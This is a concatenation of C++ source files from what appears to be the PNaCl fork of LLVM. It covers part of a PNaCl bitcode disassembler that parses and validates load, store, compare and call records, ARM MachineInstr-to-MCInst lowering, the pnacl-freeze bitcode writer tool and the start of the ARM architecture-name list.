case naclbitc::FUNC_CODE_INST_LOAD: {
// LOAD: [op, align, ty]
if (Values.size() != 3) {
Errors() << "Function load record expects 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
unsigned Alignment = Context->getAlignmentValue(Values[1]);
Type *LoadType = GetType(Values[2]);
VerifyScalarOrVectorOp("load", LoadType);
Context->VerifyMemoryAccessAlignment("load", LoadType, Alignment);
Tokens() << NextInstId() << Space() << "=" << Space() << StartCluster()
<< "load" << Space() << TokenizeType(LoadType) << "*" << Space()
<< GetBitcodeId(RelativeToAbsId(Values[0])) << Comma()
<< FinishCluster() << Space() << StartCluster()
<< "align" << Space() << Alignment << Semicolon()
<< FinishCluster();
InstallInstType(LoadType);
break;
}
case naclbitc::FUNC_CODE_INST_STORE: {
// STORE: [ptr, val, align]
if (Values.size() != 3) {
Errors() << "Function store record expects 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
unsigned Alignment = Context->getAlignmentValue(Values[2]);
NaClBcIndexSize_t Val = RelativeToAbsId(Values[1]);
Type *ValType = GetValueType(Val);
VerifyScalarOrVectorOp("store", ValType);
Context->VerifyMemoryAccessAlignment("store", ValType, Alignment);
Tokens() << StartCluster() << "store" << Space() << TokenizeType(ValType)
<< Space() << GetBitcodeId(Val) << Comma() << FinishCluster()
<< Space() << StartCluster() << TokenizeType(ValType) << "*"
<< Space() << GetBitcodeId(RelativeToAbsId(Values[0])) << Comma()
<< FinishCluster() << Space() << StartCluster() << "align"
<< Space() << Alignment << Semicolon() << FinishCluster();
break;
}
case naclbitc::FUNC_CODE_INST_CMP2: {
// CMP2: [opval, opval, pred]
if (Values.size() != 3) {
Errors() << "Function compare record expects 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t Arg1 = RelativeToAbsId(Values[0]);
NaClBcIndexSize_t Arg2 = RelativeToAbsId(Values[1]);
Type *Arg1Type = GetValueType(Arg1);
Type *Arg2Type = GetValueType(Arg2);
if (Arg1Type != Arg2Type) {
Errors() << "Arguments not of same type: " << *Arg1Type << " and "
<< *Arg2Type << "\n";
}
const char *Pred = "???";
Tokens() << NextInstId() << Space() << "=" << Space() << StartCluster();
Type* BaseType = UnderlyingType(Arg1Type);
if (BaseType->isIntegerTy()) {
Pred = GetIcmpPredicate(Values[2]);
Tokens() << "icmp" << Space() << Pred;
} else if (isFloatingType(BaseType)) {
Pred = GetFcmpPredicate(Values[2]);
Tokens() << "fcmp" << Space() << Pred;
} else {
Errors() << "Compare not on integer/float type. Found: "
<< *Arg1Type << "\n";
Tokens() << "cmp" << Space() << "???" "(" << Values[2] << ")";
}
Tokens() << FinishCluster() << Space() << StartCluster()
<< TokenizeType(Arg1Type) << Space () << GetBitcodeId(Arg1)
<< Comma() << FinishCluster() << Space() << StartCluster()
<< GetBitcodeId(Arg2) << Semicolon() << FinishCluster();
Type *ResultType = GetComparisonType();
if (Arg1Type->isVectorTy()) {
ResultType = VectorType::get(ResultType,
Arg1Type->getVectorNumElements());
}
InstallInstType(ResultType);
break;
}
case naclbitc::FUNC_CODE_INST_VSELECT: {
// VSELECT: [opval, opval, pred]
if (Values.size() != 3) {
Errors() << "Select record expects 3 arguments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t CondValue = RelativeToAbsId(Values[2]);
NaClBcIndexSize_t ThenValue = RelativeToAbsId(Values[0]);
NaClBcIndexSize_t ElseValue = RelativeToAbsId(Values[1]);
Type *CondType = GetValueType(CondValue);
Type *ThenType = GetValueType(ThenValue);
Type *ElseType = GetValueType(ElseValue);
if (ThenType != ElseType) {
Errors() << "Selected arguments not of same type: "
<< *ThenType << " and " << *ElseType << "\n";
}
Type *BaseType = UnderlyingType(ThenType);
if (!(BaseType->isIntegerTy() || isFloatingType(BaseType))) {
Errors() << "Select arguments not integer/float. Found: " << *ThenType;
}
Tokens() << NextInstId() << Space() << "=" << Space() << StartCluster()
<< "select" << Space() << TokenizeType(CondType) << Space()
<< GetBitcodeId(CondValue) << Comma() << FinishCluster() << Space()
<< StartCluster() << TokenizeType(ThenType) << Space()
<< GetBitcodeId(ThenValue) << Comma() << FinishCluster() << Space()
<< StartCluster() << TokenizeType(ElseType) << Space()
<< GetBitcodeId(ElseValue) << Semicolon()
<< FinishCluster();
InstallInstType(ThenType);
break;
}
case naclbitc::FUNC_CODE_INST_EXTRACTELT: {
// EXTRACTELT: [opval, opval]
if (Values.size() != 2) {
Errors() << "Extract element record expects 2 arguments. Found: "
<< Values.size() << "\n";
break;
}
NaClBcIndexSize_t VecValue = RelativeToAbsId(Values[0]);
NaClBcIndexSize_t IdxValue = RelativeToAbsId(Values[1]);
VerifyIndexedVector("extractelement", VecValue, IdxValue);
Type *VecType = GetValueType(VecValue);
Type *IdxType = GetValueType(IdxValue);
Tokens() << NextInstId() << Space() << " = " << Space() << StartCluster()
<< "extractelement" << Space() << TokenizeType(VecType) << Space()
<< GetBitcodeId(VecValue) << Comma() << FinishCluster() << Space()
<< StartCluster() << TokenizeType(IdxType) << Space()
<< GetBitcodeId(IdxValue) << Semicolon() << FinishCluster();
InstallInstType(UnderlyingType(VecType));
break;
}
case naclbitc::FUNC_CODE_INST_INSERTELT: {
// INSERTELT: [opval, opval, opval]
NaClBcIndexSize_t VecValue = RelativeToAbsId(Values[0]);
NaClBcIndexSize_t EltValue = RelativeToAbsId(Values[1]);
NaClBcIndexSize_t IdxValue = RelativeToAbsId(Values[2]);
VerifyIndexedVector("insertelement", VecValue, IdxValue);
Type *VecType = GetValueType(VecValue);
Type *EltType = GetValueType(EltValue);
Type *IdxType = GetValueType(IdxValue);
if (EltType != UnderlyingType(VecType)) {
Errors() << "insertelement: Illegal element type " << *EltType
<< ". Expected: " << *UnderlyingType(VecType) << "\n";
}
Tokens() << NextInstId() << Space() << " = " << Space() << StartCluster()
<< "insertelement" << Space() << TokenizeType(VecType) << Space()
<< GetBitcodeId(VecValue) << Comma() << FinishCluster() << Space()
<< StartCluster() << TokenizeType(EltType) << Space()
<< GetBitcodeId(EltValue) << Comma() << FinishCluster() << Space()
<< StartCluster() << TokenizeType(IdxType) << Space()
<< GetBitcodeId(IdxValue) << Semicolon() << FinishCluster();
InstallInstType(VecType);
break;
}
case naclbitc::FUNC_CODE_INST_CALL:
case naclbitc::FUNC_CODE_INST_CALL_INDIRECT: {
// CALL: [cc, fnid, arg0, arg1...]
// CALL_INDIRECT: [cc, fnid, returnty, args...]
//
// Note: The difference between CALL and CALL_INDIRECT is that CALL has a
// reference to an explicit function declaration, while the CALL_INDIRECT
// is just an address. For CALL, we can infer the return type by looking up
// the type signature associated with the function declaration. For
// CALL_INDIRECT we can only infer the type signature via argument types,
// and the corresponding return type stored in CALL_INDIRECT record.
size_t ParamsStartIndex =
Record.GetCode() == naclbitc::FUNC_CODE_INST_CALL ? 2 : 3;
if (Values.size() < ParamsStartIndex) {
Errors() << "Call record expects at least " << ParamsStartIndex
<< " arguments. Found: " << Values.size() << "\n";
break;
}
NaClBcIndexSize_t FcnId = RelativeToAbsId(Values[1]);
// Pull out signature/return type of call (if possible).
unsigned NumParams = Values.size() - ParamsStartIndex;
FunctionType *FcnType = nullptr;
Type *ReturnType = GetUnknownType();
bool IsIntrinsic = false;
if (Record.GetCode() == naclbitc::FUNC_CODE_INST_CALL) {
Type *FcnTy = GetFunctionValueType(FcnId);
if (auto *FunctionTy = dyn_cast<FunctionType>(FcnTy)) {
FcnType = FunctionTy;
ReturnType = FcnType->getReturnType();
if (NumParams != FcnType->getNumParams()) {
Errors() << "Call has " << NumParams
<< " parameters. Signature expects: "
<< FcnType->getNumParams() << "\n";
// Recover by only checking parameters that can be compared
// to signature.
NumParams = std::min(NumParams, FcnType->getNumParams());
}
} else {
Errors() << "Invalid function signature: " << *FcnTy << "\n";
ReturnType = GetVoidType();
}
IsIntrinsic = Context->IsFunctionIntrinsic(FcnId);
} else { // Record.GetCode() == naclbitc::FUNC_CODE_INST_CALL_INDIRECT
ReturnType = GetType(Values[2]);
Type *AddressType = GetValueType(FcnId);
Type *PointerType = GetPointerType();
if (AddressType != PointerType) {
Errors() << "Call indirect address not " << *PointerType
<< ". Found: " << *AddressType << "\n";
}
}
// Extract out parameter ids and types.
SmallVector<std::pair<Type *, NaClBcIndexSize_t>, 8> Param;
for (unsigned I = 0; I < NumParams; ++I) {
NaClBcIndexSize_t ParamID = RelativeToAbsId(Values[ParamsStartIndex + I]);
Param.push_back(std::make_pair(GetValueType(ParamID), ParamID));
}
// Check return type.
if (!IsIntrinsic && !IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidParamType(ReturnType)) {
Errors() << "Invalid return type: " << *ReturnType << "\n";
}
// Check parameter types.
if (FcnType) {
for (unsigned Index = 0; Index < NumParams; ++Index) {
Type *ParamType = Param[Index].first;
Type *ExpectedType = FcnType->getParamType(Index);
if (ParamType != ExpectedType) {
Errors() << "Parameter " << (Index + 1) << " mismatch: "
<< *ParamType << " and " << *ExpectedType << "\n";
} else if (!IsIntrinsic && !IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidParamType(ParamType)) {
Errors() << "Invalid type for parameter " << Index << ": "
<< *ParamType << "\n";
}
}
}
// Check calling conventions.
unsigned IsTailCall = (Values[0] & 0x1);
CallingConv::ID CallingConv;
if (!naclbitc::DecodeCallingConv(Values[0]>>1, CallingConv))
Errors() << "Call unknown calling convention:" << (Values[0]>>1) << "\n";
if (!IgnorePNaClABIChecks &&
!PNaClABIProps::isValidCallingConv(CallingConv)) {
Errors() << "Call uses disallowed calling convention: "
<< PNaClABIProps::CallingConvName(CallingConv) << "("
<< CallingConv << ")\n";
}
// Generate assembly instruction.
if (!ReturnType->isVoidTy()) {
Tokens() << NextInstId() << Space() << "=" << Space();
}
if (IsTailCall) {
Tokens() << "tail" << Space();
}
Tokens() << "call" << Space();
if (CallingConv != CallingConv::C) {
Tokens() << PNaClABIProps::CallingConvName(CallingConv) << Space();
}
Tokens() << TokenizeType(ReturnType) << Space()
<< StartCluster() << GetBitcodeId(FcnId) << OpenParen()
<< StartCluster();
bool IsFirstArg = true;
for (const auto Pair : Param) {
if (IsFirstArg)
IsFirstArg = false;
else
Tokens() << Comma() << FinishCluster() << Space() << StartCluster();
Tokens() << TokenizeType(Pair.first) << Space()
<< GetBitcodeId(Pair.second);
}
Tokens() << CloseParen() << Semicolon() << FinishCluster()
<< FinishCluster();
// Install instruction.
if (!ReturnType->isVoidTy()) InstallInstType(ReturnType);
break;
}
case naclbitc::FUNC_CODE_INST_FORWARDTYPEREF: {
// TYPE: [opval, ty]
if (Values.size() != 2) {
Errors() << "Forward declare record expects 2 arguments. Found: "
<< Values.size() << "\n";
break;
}
Type *OpType = GetType(Values[1]);
Tokens() << "declare" << Space() << StartCluster()
<< TokenizeType(OpType) << Space()
<< GetBitcodeId(Values[0]) << Semicolon() << FinishCluster();
InstallInstType(OpType, AbsToValuedInstId(Values[0]));
break;
}
default:
Errors() << "Unknown record found in module block.\n";
break;
}
Tokens() << TokenizeAbbrevIndex() << Endline();
ObjDumpWrite(Record.GetStartBit(), Record);
}
/// Parses and disassembles the module block.
class NaClDisModuleParser : public NaClDisBlockParser {
public:
NaClDisModuleParser(unsigned BlockID, NaClDisTopLevelParser *Context)
: NaClDisBlockParser(BlockID, Context) {
}
~NaClDisModuleParser() override;
bool ParseBlock(unsigned BlockID) override;
void PrintBlockHeader() override;
void ProcessRecord() override;
private:
bool FoundFunctionBlock = false;
};
NaClDisModuleParser::~NaClDisModuleParser() {
// Note: Since we can't check type signatures of most functions till
// we know intrinsic names, and that isn't known until the (optional)
// valuesymtab block is parsed, the only reasonable spot to check
// function signatures is once the module block has been processed.
NaClBcIndexSize_t NextFcnDefinedId = 0;
for (size_t i = 0, e = GetNumFunctions(); i < e; ++i) {
// Note: If the type of a function isn't a function type, that
// was checked in method ProcessRecord.
// Note: If the function was defined, the type was checked in
// NaClDisFunctionParser::PrintBlockHeader.
if (Context->HasDefinedFunctionIndex(NextFcnDefinedId)
&& i == Context->GetDefinedFunctionIndex(NextFcnDefinedId)) {
++NextFcnDefinedId;
continue;
}
if (FunctionType *FcnTy = dyn_cast<FunctionType>(GetFunctionValueType(i))) {
if (!Context->IsFunctionIntrinsic(i) &&
!IgnorePNaClABIChecks &&
!PNaClABITypeChecker::isValidFunctionType(FcnTy)) {
Context->SetRecordAddressToFunctionIdAddress(i);
Errors() << "Invalid type signature for "
<< BitcodeId('f', i) << ": " << *FcnTy << "\n";
}
}
}
}
bool NaClDisModuleParser::ParseBlock(unsigned BlockID) {
ObjDumpSetRecordBitAddress(GetBlock().GetStartBit());
switch (BlockID) {
case naclbitc::BLOCKINFO_BLOCK_ID: {
NaClDisBlockInfoParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
case naclbitc::TYPE_BLOCK_ID_NEW: {
NaClDisTypesParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
case naclbitc::GLOBALVAR_BLOCK_ID: {
NaClDisGlobalsParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
case naclbitc::VALUE_SYMTAB_BLOCK_ID: {
if (FoundFunctionBlock)
Errors() << "Module symbol table must appear before function blocks\n";
NaClDisValueSymtabParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
case naclbitc::FUNCTION_BLOCK_ID: {
FoundFunctionBlock = true;
NaClDisFunctionParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
default:
return NaClDisBlockParser::ParseBlock(BlockID);
}
}
void NaClDisModuleParser::PrintBlockHeader() {
Tokens() << "module" << Space() << OpenCurly()
<< Space() << Space() << "// BlockID = " << GetBlockID()
<< Endline();
}
void NaClDisModuleParser::ProcessRecord() {
ObjDumpSetRecordBitAddress(Record.GetStartBit());
const NaClBitcodeRecord::RecordVector &Values = Record.GetValues();
switch (Record.GetCode()) {
case naclbitc::MODULE_CODE_VERSION:
// [version#]
if (Values.size() != 1) {
Errors() << "Version record should have one argument. Found: "
<< Values.size() << "\n";
break;
}
Tokens() << "version" << Space() << Values[0] << Semicolon()
<< TokenizeAbbrevIndex() << Endline();
break;
case naclbitc::MODULE_CODE_FUNCTION: {
// [type, callingconv, isproto, linkage]
if (Values.size() != 4) {
Errors() << "Function record should have 4 arguments. Found: "
<< Values.size() << "\n";
break;
}
bool IsProto = (Values[2] != 0);
Tokens() << StartCluster() << (IsProto ? "declare" : "define");
NaClBcIndexSize_t FcnId = GetNumFunctions();
BitcodeId FcnName('f', FcnId);
std::string FcnStrName(FcnName.GetName());
GlobalValue::LinkageTypes Linkage;
if (!naclbitc::DecodeLinkage(Values[3], Linkage)) {
Errors() << "Unknown linkage value: " << Values[3] << "\n";
} else {
if (!IgnorePNaClABIChecks &&
!PNaClABIProps::isValidGlobalLinkage(Linkage)) {
Errors() << "Disallowed linkage type: "
<< PNaClABIProps::LinkageName(Linkage) << "\n";
}
Tokens() << Space() << PNaClABIProps::LinkageName(Linkage);
}
CallingConv::ID CallingConv;
if (!naclbitc::DecodeCallingConv(Values[1], CallingConv)) {
Errors() << "Unknown calling convention value: " << Values[1] << "\n";
} else if (PNaClABIProps::isValidCallingConv(CallingConv)) {
if (CallingConv != CallingConv::C) {
Tokens() << Space() << PNaClABIProps::CallingConvName(CallingConv);
}
} else {
Errors() << "Function " << FcnStrName
<< " has disallowed calling convention: "
<< PNaClABIProps::CallingConvName(CallingConv)
<< " (" << CallingConv << ")\n";
}
Tokens() << FinishCluster() << Space() << StartCluster();
Type *FcnType = GetType(Values[0]);
FunctionType *FunctionTy = dyn_cast<FunctionType>(FcnType);
if (FunctionTy) {
Tokens() << TokenizeFunctionType(FunctionTy, &FcnName);
} else {
BitcodeId FcnTypeId('t', Values[0]);
Errors() << "Not function type: " << FcnTypeId << " = "
<< *FcnType << "\n";
Tokens() << "???";
SmallVector<Type*, 1> Signature;
FunctionTy = FunctionType::get(GetVoidType(), Signature, 0);
}
Tokens() << Semicolon() << FinishCluster() << TokenizeAbbrevIndex()
<< Endline();
InstallFunctionType(FunctionTy);
if (!IsProto) InstallDefinedFunction(FcnId);
break;
}
default:
Errors() << "Unknown record found in module block\n";
break;
}
ObjDumpWrite(Record.GetStartBit(), Record);
}
bool NaClDisTopLevelParser::ParseBlock(unsigned BlockID) {
// Before parsing top-level module block. Describe header by
// reconstructing the corresponding header record.
NaClBitcodeRecordData HeaderRecord;
size_t HeaderSize = Header.getHeaderSize();
HeaderRecord.Code = naclbitc::BLK_CODE_HEADER;
NaClBitstreamCursor &Cursor = Record.GetCursor();
uint64_t CurPos = Cursor.GetCurrentBitNo();
Cursor.JumpToBit(0);
for (size_t i = 0; i < HeaderSize; ++i) {
HeaderRecord.Values.push_back(Cursor.Read(CHAR_BIT));
}
Cursor.JumpToBit(CurPos);
if (ObjDump.GetDumpRecords() && ObjDump.GetDumpAssembly()) {
if (HeaderSize >= 4) {
const NaClRecordVector &Values = HeaderRecord.Values;
Tokens() << "Magic" << Space() << "Number" << Colon()
<< Space() << StartCluster() << StartCluster() << "'"
<< (char) Values[0] << (char) Values[1]
<< (char) Values[2] << (char) Values[3]
<< "'" << FinishCluster() << Space()
<< StartCluster() << OpenParen()
<< Values[0] << Comma() << Space()
<< Values[1] << Comma() << Space()
<< Values[2] << Comma() << Space()
<< Values[3] << CloseParen() << FinishCluster()
<< FinishCluster() << Endline();
}
// Show interpretation of header as assembly.
for (size_t i = 0; i < Header.NumberFields(); ++i) {
Tokens() << Header.GetField(i)->Contents() << Endline();
}
}
ObjDump.Write(0, HeaderRecord);
if (BlockID != naclbitc::MODULE_BLOCK_ID)
return Error("Module block expected at top-level, but not found");
// Now parse a module block.
NaClDisModuleParser Parser(BlockID, this);
return Parser.ParseThisBlock();
}
}
namespace llvm {
bool NaClObjDump(MemoryBufferRef MemBuf, raw_ostream &Output,
bool NoRecords, bool NoAssembly) {
// Create objects needed to run parser.
naclbitc::ObjDumpStream ObjDump(Output, !NoRecords, !NoAssembly);
if (MemBuf.getBufferSize() % 4 != 0) {
ObjDump.Error()
<< "Bitcode stream should be a multiple of 4 bytes in length.\n";
return true;
}
const unsigned char *BufPtr = (const unsigned char *)MemBuf.getBufferStart();
const unsigned char *EndBufPtr = BufPtr+MemBuf.getBufferSize();
// Read header and verify it is good.
NaClBitcodeHeader Header;
if (Header.Read(BufPtr, EndBufPtr)) {
ObjDump.Error() << "Invalid PNaCl bitcode header.\n";
return true;
}
if (!Header.IsSupported()) {
ObjDump.Warning() << Header.Unsupported();
if (!Header.IsReadable()) {
ObjDump.Error() << "Invalid PNaCl bitcode header.\n";
return true;
}
}
// Create a bitstream reader to read the bitcode file.
NaClBitstreamReader InputStreamFile(BufPtr, EndBufPtr, Header);
NaClBitstreamCursor InputStream(InputStreamFile);
// Parse the the bitcode file.
::NaClDisTopLevelParser Parser(Header, InputStream, ObjDump);
int NumBlocksRead = 0;
bool ErrorsFound = false;
while (!InputStream.AtEndOfStream()) {
++NumBlocksRead;
if (Parser.Parse()) ErrorsFound = true;
}
if (NumBlocksRead != 1) {
ObjDump.Error() << "Expected 1 top level block in bitcode: Found:"
<< NumBlocksRead << "\n";
ErrorsFound = true;
}
ObjDump.Flush();
return ErrorsFound || Parser.GetNumErrors() > 0;
}
}
<file_sep>/lib/Target/ARM/ARMMCInstLower.cpp
//===-- ARMMCInstLower.cpp - Convert ARM MachineInstr to an MCInst --------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains code to lower ARM MachineInstrs to their corresponding
// MCInst records.
//
//===----------------------------------------------------------------------===//
#include "ARM.h"
#include "ARMAsmPrinter.h"
#include "MCTargetDesc/ARMBaseInfo.h"
#include "MCTargetDesc/ARMMCExpr.h"
#include "llvm/CodeGen/MachineBasicBlock.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Mangler.h"
#include "llvm/MC/MCExpr.h"
#include "llvm/MC/MCInst.h"
using namespace llvm;
MCOperand ARMAsmPrinter::GetSymbolRef(const MachineOperand &MO,
const MCSymbol *Symbol) {
const MCExpr *Expr;
unsigned Option = MO.getTargetFlags() & ARMII::MO_OPTION_MASK;
switch (Option) {
default: {
Expr = MCSymbolRefExpr::Create(Symbol, MCSymbolRefExpr::VK_None,
OutContext);
switch (Option) {
default: llvm_unreachable("Unknown target flag on symbol operand");
case ARMII::MO_NO_FLAG:
break;
case ARMII::MO_LO16:
Expr = MCSymbolRefExpr::Create(Symbol, MCSymbolRefExpr::VK_None,
OutContext);
Expr = ARMMCExpr::CreateLower16(Expr, OutContext);
break;
case ARMII::MO_HI16:
Expr = MCSymbolRefExpr::Create(Symbol, MCSymbolRefExpr::VK_None,
OutContext);
Expr = ARMMCExpr::CreateUpper16(Expr, OutContext);
break;
}
break;
}
case ARMII::MO_PLT:
Expr = MCSymbolRefExpr::Create(Symbol, MCSymbolRefExpr::VK_PLT,
OutContext);
break;
}
if (!MO.isJTI() && MO.getOffset())
Expr = MCBinaryExpr::CreateAdd(Expr,
MCConstantExpr::Create(MO.getOffset(),
OutContext),
OutContext);
return MCOperand::CreateExpr(Expr);
}
bool ARMAsmPrinter::lowerOperand(const MachineOperand &MO,
MCOperand &MCOp) {
switch (MO.getType()) {
default: llvm_unreachable("unknown operand type");
case MachineOperand::MO_Register:
// Ignore all non-CPSR implicit register operands.
if (MO.isImplicit() && MO.getReg() != ARM::CPSR)
return false;
assert(!MO.getSubReg() && "Subregs should be eliminated!");
MCOp = MCOperand::CreateReg(MO.getReg());
break;
case MachineOperand::MO_Immediate:
MCOp = MCOperand::CreateImm(MO.getImm());
break;
case MachineOperand::MO_MachineBasicBlock:
MCOp = MCOperand::CreateExpr(MCSymbolRefExpr::Create(
MO.getMBB()->getSymbol(), OutContext));
break;
case MachineOperand::MO_GlobalAddress: {
MCOp = GetSymbolRef(MO,
GetARMGVSymbol(MO.getGlobal(), MO.getTargetFlags()));
break;
}
case MachineOperand::MO_ExternalSymbol:
MCOp = GetSymbolRef(MO,
GetExternalSymbolSymbol(MO.getSymbolName()));
break;
case MachineOperand::MO_JumpTableIndex:
MCOp = GetSymbolRef(MO, GetJTISymbol(MO.getIndex()));
break;
case MachineOperand::MO_ConstantPoolIndex:
MCOp = GetSymbolRef(MO, GetCPISymbol(MO.getIndex()));
break;
case MachineOperand::MO_BlockAddress:
MCOp = GetSymbolRef(MO, GetBlockAddressSymbol(MO.getBlockAddress()));
break;
case MachineOperand::MO_FPImmediate: {
APFloat Val = MO.getFPImm()->getValueAPF();
bool ignored;
Val.convert(APFloat::IEEEdouble, APFloat::rmTowardZero, &ignored);
MCOp = MCOperand::CreateFPImm(Val.convertToDouble());
break;
}
case MachineOperand::MO_RegisterMask:
// Ignore call clobbers.
return false;
}
return true;
}
void llvm::LowerARMMachineInstrToMCInst(const MachineInstr *MI, MCInst &OutMI,
ARMAsmPrinter &AP) {
OutMI.setOpcode(MI->getOpcode());
// In the MC layer, we keep modified immediates in their encoded form
bool EncodeImms = false;
switch (MI->getOpcode()) {
default: break;
case ARM::MOVi:
case ARM::MVNi:
case ARM::CMPri:
case ARM::CMNri:
case ARM::TSTri:
case ARM::TEQri:
case ARM::MSRi:
case ARM::ADCri:
case ARM::ADDri:
case ARM::ADDSri:
case ARM::SBCri:
case ARM::SUBri:
case ARM::SUBSri:
case ARM::ANDri:
case ARM::ORRri:
case ARM::EORri:
case ARM::BICri:
case ARM::RSBri:
case ARM::RSBSri:
case ARM::RSCri:
EncodeImms = true;
break;
}
for (unsigned i = 0, e = MI->getNumOperands(); i != e; ++i) {
const MachineOperand &MO = MI->getOperand(i);
MCOperand MCOp;
if (AP.lowerOperand(MO, MCOp)) {
if (MCOp.isImm() && EncodeImms) {
int32_t Enc = ARM_AM::getSOImmVal(MCOp.getImm());
if (Enc != -1)
MCOp.setImm(Enc);
}
OutMI.addOperand(MCOp);
}
}
}
// @LOCALMOD-BEGIN
// Unlike LowerARMMachineInstrToMCInst, the opcode has already been set.
// Otherwise, this is like LowerARMMachineInstrToMCInst, but with special
// handling where the "immediate" is PC Relative
// (used for MOVi16PIC / MOVTi16PIC, etc. -- see .td file)
void llvm::LowerARMMachineInstrToMCInstPCRel(const MachineInstr *MI,
MCInst &OutMI,
ARMAsmPrinter &AP,
unsigned ImmIndex,
unsigned PCIndex,
MCSymbol *PCLabel,
unsigned PCAdjustment) {
for (unsigned i = 0, e = MI->getNumOperands(); i != e; ++i) {
if (i == ImmIndex) {
MCContext &Ctx = AP.OutContext;
const MCExpr *PCRelExpr = MCSymbolRefExpr::Create(PCLabel, Ctx);
if (PCAdjustment) {
const MCExpr *AdjExpr = MCConstantExpr::Create(PCAdjustment, Ctx);
PCRelExpr = MCBinaryExpr::CreateAdd(PCRelExpr, AdjExpr, Ctx);
}
// Get the usual symbol operand, then subtract the PCRelExpr.
const MachineOperand &MOImm = MI->getOperand(ImmIndex);
MCOperand SymOp;
bool DidLower = AP.lowerOperand(MOImm, SymOp);
assert (DidLower && "Immediate-like operand should have been lowered");
const MCExpr *Expr = SymOp.getExpr();
ARMMCExpr::VariantKind TargetKind = ARMMCExpr::VK_ARM_None;
/* Unwrap and rewrap the ARMMCExpr */
if (Expr->getKind() == MCExpr::Target) {
const ARMMCExpr *TargetExpr = cast<ARMMCExpr>(Expr);
TargetKind = TargetExpr->getKind();
Expr = TargetExpr->getSubExpr();
}
Expr = MCBinaryExpr::CreateSub(Expr, PCRelExpr, Ctx);
if (TargetKind != ARMMCExpr::VK_ARM_None) {
Expr = ARMMCExpr::Create(TargetKind, Expr, Ctx);
}
MCOperand MCOp = MCOperand::CreateExpr(Expr);
OutMI.addOperand(MCOp);
} else if (i == PCIndex) { // dummy index already handled as PCLabel
continue;
} else {
MCOperand MCOp;
if (AP.lowerOperand(MI->getOperand(i), MCOp)) {
OutMI.addOperand(MCOp);
}
}
}
}
// @LOCALMOD-END
<file_sep>/tools/pnacl-freeze/pnacl-freeze.cpp
/* Copyright 2013 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
//===-- pnacl-freeze.cpp - The low-level NaCl bitcode freezer --------===//
//
//===----------------------------------------------------------------------===//
//
// Generates NaCl pexe wire format.
//
//===----------------------------------------------------------------------===//
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include "llvm/Bitcode/ReaderWriter.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Module.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/DataStream.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/ManagedStatic.h"
#include "llvm/Support/PrettyStackTrace.h"
#include "llvm/Support/Signals.h"
#include "llvm/Support/StreamingMemoryObject.h"
#include "llvm/Support/ToolOutputFile.h"
using namespace llvm;
static cl::opt<std::string>
OutputFilename("o", cl::desc("Specify output filename"),
cl::value_desc("filename"), cl::init("-"));
static cl::opt<std::string>
InputFilename(cl::Positional, cl::desc("<pexe file>"), cl::init("-"));
static void WriteOutputFile(const Module *M) {
std::error_code EC;
std::unique_ptr<tool_output_file> Out(
new tool_output_file(OutputFilename, EC, sys::fs::F_None));
if (EC) {
errs() << EC.message() << '\n';
exit(1);
}
NaClWriteBitcodeToFile(M, Out->os(), /* AcceptSupportedOnly = */ false);
// Declare success.
Out->keep();
}
int main(int argc, char **argv) {
// Print a stack trace if we signal out.
sys::PrintStackTraceOnErrorSignal();
PrettyStackTraceProgram X(argc, argv);
LLVMContext &Context = getGlobalContext();
llvm_shutdown_obj Y; // Call llvm_shutdown() on exit.
cl::ParseCommandLineOptions(argc, argv, "Generates NaCl pexe wire format\n");
std::string ErrorMessage;
std::unique_ptr<Module> M;
// Use the bitcode streaming interface
DataStreamer *streamer = getDataFileStreamer(InputFilename, &ErrorMessage);
std::unique_ptr<StreamingMemoryObject> Buffer(
new StreamingMemoryObjectImpl(streamer));
if (streamer) {
std::string DisplayFilename;
if (InputFilename == "-")
DisplayFilename = "<stdin>";
else
DisplayFilename = InputFilename;
ErrorOr<std::unique_ptr<Module>> MOrErr =
getStreamedBitcodeModule(DisplayFilename, Buffer.release(), Context);
M = std::move(*MOrErr);
M->materializeAllPermanently();
}
if (!M.get()) {
errs() << argv[0] << ": ";
if (ErrorMessage.size())
errs() << ErrorMessage << "\n";
else
errs() << "bitcode didn't read correctly.\n";
return 1;
}
WriteOutputFile(M.get());
return 0;
}
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMArchName.def
//===-- ARMArchName.def - List of the ARM arch names ------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains the list of the supported ARM architecture names,
// i.e. the supported value for -march= option.
//
//===----------------------------------------------------------------------===//
// NOTE: NO INCLUDE GUARD DESIRED!
#ifndef ARM_ARCH_NAME
#error "You must define ARM_ARCH_NAME before including ARMArchName.def"
#endif
// ARM_ARCH_NAME(NAME, ID, DEFAULT_CPU_NAME, DEFAULT_CPU_ARCH)
ARM_ARCH_NAME("armv2", ARMV2, "2", v4)
ARM_ARCH_NAME("armv2a", ARMV2A, "2A", v4)
ARM_ARCH_NAME("armv3", ARMV3, "3", v4)
ARM_ARCH_NAME("armv3m", ARMV3M, "3M", v4)
ARM_ARCH_NAME("armv4", ARMV4, "4", v4)
ARM_ARCH_NAME("armv4t", ARMV4T, "4T", v4T)
ARM_ARCH_NAME("armv5", ARMV5, "5", v5T)
ARM_ARCH_NAME("armv5t", ARMV5T, "5T", v5T)
ARM_ARCH_NAME("armv5te", ARMV5TE, "5TE", v5TE)
ARM_ARCH_NAME("armv6", ARMV6, "6", v6)
